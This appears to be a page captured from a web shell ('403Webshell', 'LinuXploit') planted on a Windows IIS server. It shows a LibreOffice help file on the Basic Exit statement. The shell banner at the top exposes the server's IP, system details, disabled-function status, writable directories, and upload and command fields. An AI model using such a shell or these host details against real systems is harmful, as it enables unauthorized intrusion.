403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.89
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files/LibreOffice/help/en-US/text/sbasic/shared/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Program Files/LibreOffice/help/en-US/text/sbasic/shared/03090412.html
<!DOCTYPE html>
<html lang="en-US" dir="ltr">
<head>
<base href="../../../../">
<noscript><meta http-equiv="refresh" content="0; URL=../../../../en-US/noscript.html"></noscript>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Exit Statement</title>
<link rel="shortcut icon" href="media/navigation/favicon.ico">
<link type="text/css" href="normalize.css" rel="Stylesheet">
<link type="text/css" href="prism.css" rel="Stylesheet">
<link type="text/css" href="default.css" rel="Stylesheet">
<script type="text/javascript" src="polyfills.js"></script><script type="text/javascript" src="languages.js"></script><script type="text/javascript" src="en-US/langnames.js"></script><script type="text/javascript" src="flexsearch.debug.js"></script><script type="text/javascript" src="prism.js"></script><script type="text/javascript" src="help2.js" defer></script><script type="text/javascript" src="a11y-toggle.js" defer></script><script type="text/javascript" src="paginathing.js" defer></script><script type="text/javascript" src="en-US/bookmarks.js" defer></script><script type="text/javascript" src="en-US/contents.js" defer></script><script type="text/javascript" src="help.js" defer></script><meta name="viewport" content="width=device-width,initial-scale=1">
</head>
<body>
<header id="TopLeftHeader"><a class="symbol" href="en-US/text/shared/05/new_help.html"><div></div></a><a class="logo" href="en-US/text/shared/05/new_help.html"><p dir="auto">LibreOffice 24.2 Help</p></a><div class="dropdowns"><div class="modules">
<button type="button" data-a11y-toggle="modules-nav" id="modules" aria-haspopup="true" aria-expanded="false" aria-controls="modules-nav">Module</button><nav id="modules-nav" hidden=""></nav>
</div></div></header><aside class="leftside"><input id="accordion-1" name="accordion-menu" type="checkbox"><label for="accordion-1" dir="auto">Contents</label><div id="Contents" class="contents-treeview"></div></aside><div id="SearchFrame"><div id="Bookmarks">
<input id="search-bar" type="search" class="search" placeholder="Search in bookmarks for chosen module" dir="auto"><div class="nav-container" tabindex="0"><nav class="index" dir="auto"></nav></div>
</div></div>
<div id="DisplayArea" itemprop="softwareHelp" itemscope="true" itemtype="http://schema.org/SoftwareApplication">


<a name="exit"></a>
<a name="bm_id3152924"></a>
  <meta itemprop="keywords" content="Exit statement">

 

<h1 id="hd_id3152924" dir="auto">Exit Statement</h1>
<p id="par_id3153394" class="paragraph" dir="auto">Exits a <span class="emph">Do...Loop</span>, <span class="emph">For...Next</span>, a function, a property, or a subroutine.</p>


<div class="embedded">
<a name="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Syntax:</h3>
</div>
<div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-visual-basic line-numbers">
Exit Do, Exit For, Exit Function, Exit Property, Exit Sub
</code></pre></div>

<div class="embedded">
<a name="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parameters:</h3>
</div>
<p id="par_id3154760" class="paragraph" dir="auto"> <span class="emph">Exit Do</span> </p>
<p id="par_id3147559" class="paragraph" dir="auto">Only valid within a <span class="emph">Do...Loop</span> statement to exit the loop. Program execution continues with the statement that follows the Loop statement. If <span class="emph">Do...Loop</span> statements are nested, the control is transferred to the loop in the next higher level.</p>
<p id="par_id3150398" class="paragraph" dir="auto"> <span class="emph">Exit For</span> </p>
<p id="par_id3148797" class="paragraph" dir="auto">Only valid within a <span class="emph">For...Next</span> loop to exit the loop. Program execution continues with the first statement that follows the <span class="emph">Next</span> statement. In nested statements, the control is transferred to the loop in the next higher level.</p>
<p id="par_id3147229" class="paragraph" dir="auto"> <span class="emph">Exit Function</span> </p>
<p id="par_id3154685" class="paragraph" dir="auto">Exits the <span class="emph">Function</span> procedure immediately. Program execution continues with the statement that follows the <span class="emph">Function</span> call.</p>
<p id="par_id31581260355116" class="paragraph" dir="auto"> <span class="emph">Exit Property</span> </p>
<p id="par_id1001581260355700" class="paragraph" dir="auto">Exits the <span class="emph">Property</span> procedure immediately. Program execution continues with the statement that follows the <span class="emph">Property</span> call.</p>
<p id="par_id3155132" class="paragraph" dir="auto"> <span class="emph">Exit Sub</span> </p>
<p id="par_id3149561" class="paragraph" dir="auto">Exits the subroutine immediately. Program execution continues with the statement that follows the <span class="emph">Sub</span> call.</p>
<div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="Note Icon 
" style="width:40px;height:40px;"></div>
<div class="notetext"><p dir="auto">The Exit statement does not define the end of a structure, and must not be confused with the End statement.</p></div>
</div>
<br>

<div class="embedded">
<a name="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Example:</h3>
</div>
<div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-visual-basic line-numbers">
Sub ExampleExit
Dim sReturn As String
Dim sListArray(10) As String
Dim siStep As Single
    For siStep = 0 To 10 ' Fill array with test data
        sListArray(siStep) = chr(siStep + 65)
        MsgBox sListArray(siStep)
    Next siStep
    sReturn = LinSearch(sListArray(), "B")
    Print sReturn
End Sub
 
Function LinSearch( sList(), sItem As String ) As Integer
Dim iCount As Integer
' LinSearch searches a TextArray:sList() for a TextEntry:
' Returns the index of the entry or 0 (Null)
    For iCount=1 To Ubound( sList() )
        If sList( iCount ) = sItem Then
            Exit For ' sItem found
        End If
    Next iCount
    If iCount = Ubound( sList() ) Then iCount = 0
    LinSearch = iCount
End Function
</code></pre></div>
</div>
<div id="DonationFrame"></div>
<footer><div id="DEBUG" class="debug">
<h3 class="bug">Help content debug info:</h3>
<p dir="auto">This page is: <a href="https://opengrok.libreoffice.org/xref/help/source/text/sbasic/shared/03090412.xhp" target="_blank">/text/sbasic/shared/03090412.xhp</a></p>
<p dir="auto">Title is: Exit Statement</p>
<p id="bm_module" dir="auto"></p>
<p id="bm_system" dir="auto"></p>
<p id="bm_HID" dir="auto"></p>
</div></footer>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit